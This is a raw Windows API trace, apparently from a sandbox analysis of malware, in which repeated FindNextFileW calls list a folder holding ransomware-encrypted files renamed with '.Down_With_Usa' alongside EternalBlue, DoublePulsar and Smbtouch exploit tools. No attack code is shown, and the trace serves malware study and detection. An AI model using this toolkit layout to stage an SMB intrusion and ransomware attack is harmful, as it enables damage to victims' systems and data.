[0270.169] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28251840, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28251840, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282779a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="coli-0.dll", cAlternateFileName="")) returned 1
[0270.169] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282c3c60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282c3c60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282c3c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="crli-0.dll", cAlternateFileName="")) returned 1
[0270.170] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0270.170] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi.Down_With_Usa", cAlternateFileName="DHM_7Q~1.DOW")) returned 1
[0270.171] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0270.172] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282e9dc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282e9dc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282e9dc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-1.dll", cAlternateFileName="")) returned 1
[0270.173] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2830ff20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2830ff20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2830ff20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x75200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 1
[0270.173] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27db4da0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27db4da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27ddaf00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.exe", cAlternateFileName="DOUBLE~1.EXE")) returned 1
[0270.174] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e4d320, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e4d320, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e995e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1487, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.xml", cAlternateFileName="DOUBLE~1.XML")) returned 1
[0270.175] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf.Down_With_Usa", cAlternateFileName="ELQ1CN~1.DOW")) returned 1
[0270.175] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf.Down_With_Usa", cAlternateFileName="ERNNOU~1.DOW")) returned 1
[0270.176] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28336080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28336080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2835c1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="esco-0.dll", cAlternateFileName="")) returned 1
[0270.177] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cf66c0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27cf66c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27d1c820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.exe", cAlternateFileName="ETERNA~1.EXE")) returned 1
[0270.177] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663f97e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x76eb9940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.log", cAlternateFileName="ETERNA~1.LOG")) returned 1
[0270.178] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f31b60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f31b60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f57cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1de1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.xml", cAlternateFileName="ETERNA~1.XML")) returned 1
[0270.178] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283f4760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283f4760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283f4760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma-1.dll", cAlternateFileName="")) returned 1
[0270.179] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283a84a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283a84a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283a84a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma.dll", cAlternateFileName="")) returned 1
[0270.180] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt.Down_With_Usa", cAlternateFileName="FIPZPP~1.DOW")) returned 1
[0270.180] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x22509a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22509a20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0270.181] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28440a20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28440a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28466b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iconv.dll", cAlternateFileName="")) returned 1
[0270.182] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x2284f860, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2284f860, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0270.182] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2862fc00, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2862fc00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28655d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x33e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcurl.dll", cAlternateFileName="")) returned 1
[0270.183] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28760700, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28760700, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x287d2b20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeay32.dll", cAlternateFileName="")) returned 1
[0270.184] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2881ede0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2881ede0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28891200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xece99, dwReserved0=0x0, dwReserved1=0x0, cFileName="libiconv-2.dll", cAlternateFileName="LIBICO~1.DLL")) returned 1
[0270.184] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288b7360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x288b7360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x289e7e60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1
[0270.186] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4.Down_With_Usa", cAlternateFileName="M6PR0C~1.DOW")) returned 1
[0270.186] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", cAlternateFileName="MLH-EH~1.DOW")) returned 1
[0270.187] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg.Down_With_Usa", cAlternateFileName="N4T6ID~1.DOW")) returned 1
[0270.187] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e01060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e01060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e271c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nasa.exe", cAlternateFileName="")) returned 1
[0270.188] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", cAlternateFileName="PCGD4V~1.DOW")) returned 1
[0270.188] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a0dfc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28a0dfc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28a34120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcla-0.dll", cAlternateFileName="")) returned 1
[0270.189] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aa6540, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28aa6540, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28acc6a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x23c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcre-0.dll", cAlternateFileName="")) returned 1
[0270.190] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28acc6a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28acc6a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28af2800, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcrecpp-0.dll", cAlternateFileName="PCRECP~1.DLL")) returned 1
[0270.190] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28af2800, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28af2800, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b18960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcreposix-0.dll", cAlternateFileName="PCREPO~1.DLL")) returned 1
[0270.191] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b64c20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b64c20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b8ad80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh-0.dll", cAlternateFileName="")) returned 1
[0270.191] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b3eac0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b3eac0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b3eac0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh.dll", cAlternateFileName="")) returned 1
[0270.192] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png.Down_With_Usa", cAlternateFileName="PTUBNM~1.DOW")) returned 1
[0270.193] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif.Down_With_Usa", cAlternateFileName="PYJ9G_~1.DOW")) returned 1
[0270.193] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2910c060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2910c060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x291321c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar-2.dll", cAlternateFileName="")) returned 1
[0270.194] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28fdb560, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28fdb560, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x290016c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar.dll", cAlternateFileName="")) returned 1
[0270.194] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp.Down_With_Usa", cAlternateFileName="RWBOTM~1.DOW")) returned 1
[0270.195] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df310a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x3df310a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x640b7200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x101b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan.txt", cAlternateFileName="")) returned 1
[0270.195] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ebf740, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27ebf740, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f0ba00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1359, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smbtouch-1.1.1.xml", cAlternateFileName="SMBTOU~1.XML")) returned 1
[0270.196] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29262cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29262cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29288e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssleay32.dll", cAlternateFileName="")) returned 1
[0270.196] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2936d660, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2936d660, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293937c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-1.dll", cAlternateFileName="")) returned 1
